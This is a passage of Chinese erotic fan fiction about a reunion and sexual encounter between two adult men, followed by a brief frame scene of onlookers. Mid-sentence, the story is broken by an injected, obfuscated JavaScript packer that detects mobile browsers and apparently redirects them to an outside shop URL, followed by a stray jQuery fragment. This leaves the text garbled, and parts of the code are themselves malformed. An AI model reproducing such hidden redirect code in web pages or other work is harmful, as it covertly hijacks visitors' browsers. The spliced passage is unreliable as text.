如同苍松翠柏亭亭的青年。眼下的细纹暴露了岁月的痕迹,却更似一壶在时光中被煨得越发醇厚的美酒。
又有哪个人能拒绝这样的人才雌伏身下,为了碎银几两卑微求欢?
刺激一波高涨似一波,二少却在极致的欢愉中感受到了痛苦,他松开手,声音几乎轻不可闻,“是我……对不起你……”
说到底,琴爹这么些年颠仆流离,皆是他少年轻狂,强求真心所造成。
琴爹没有回应,只是加快了动作,起身勾住二少的脖颈,微微踮脚吻上,将属于他的东西尽数还了回去。
二少剧烈地喘息着,下意识做出吞咽的动作,旋即张大了眼睛。
“你——”
琴爹缓缓眨着眼睛,一双浅瞳似在看他,也不似看他。
一把心火不知自身体哪处攒起,二少猛地擒住琴爹的双手,一个转身两人攻守相易。
琴爹被狠狠压在冰凉的檐柱上,温热的皮肤有一瞬的瑟缩。
“没见过你这样挑衅客人的。”二少轻笑着,终于显露出充满攻击性的表情。
琴爹伸手搭在对方肩头借力,抬眸去看二少。
从前执拗地向自己求欢的少年长大了,身形体态早已是成年人的模样,偏那双清澈的眼眸依旧透露出使人头皮发麻的少年气。
那时琴爹就无法应对这双眼睛,于是慌乱狼狈地逃了。这些年堕落至此,原想着纵使故人再见,也应当在天差地别的身份阻隔下当作不识。
可偏偏这个此生最不想面对的人,此时不仅在自己的眼前,更与自己如此亲密无间地贴面而对。
琴爹听到了二少的那句道歉,可他思来想去,往日种种皆是自己种下的因果,合该自己承担这样的结局,又何须他人致歉。说到底他是个成年人,向前的每一步,都应当由自己承担选择的责任,而不是让他人背负后果。
“我从未怨过你。”琴爹轻叹一声,示弱般将头埋进二少汗津津的胸膛,突然起了坏心,轻轻在对方颈间印下齿痕。
二少浑身一僵,一时竟说不上是琴爹的原谅带来的心理上的放松,使他飘飘然
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16651900|188245||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
几欲登天;还是对方在自己颈间作乱带来的微痛酥麻,使他的身体上获得了更大的快乐。
他有些控制不住身心的冲动,双臂大力环住琴爹将人死死锁在怀中,垂眸深吻以期二人永远难舍难离。
二少这小子在学文时显得木讷,却是个十足的练家子,论起体力来,十个琴爹也未必招架得住。更何况二少居然在这档子事上颇有天赋,倒是弄得琴爹这个老手左支右拙。
失去神智的前一秒,琴爹的目光落在香案边散落一片的香烬,再度吻上二少的唇峰。
“去屋里罢。”琴爹轻声说。
——————————————
“啊?他们去屋里了我们看什么?”毒哥窝在你身边,不满地抱怨道。
“倒也足够了。”花哥倒是颇为满意地收了笔,将新鲜出炉的文字和配图搁在稍平点的石头上,等待墨迹晾干。
你红着脸放下掩耳盗铃般挡在脸前,没起到丝毫作用的双手,小声说了句谢谢二少琴爹。
好戏散场,你们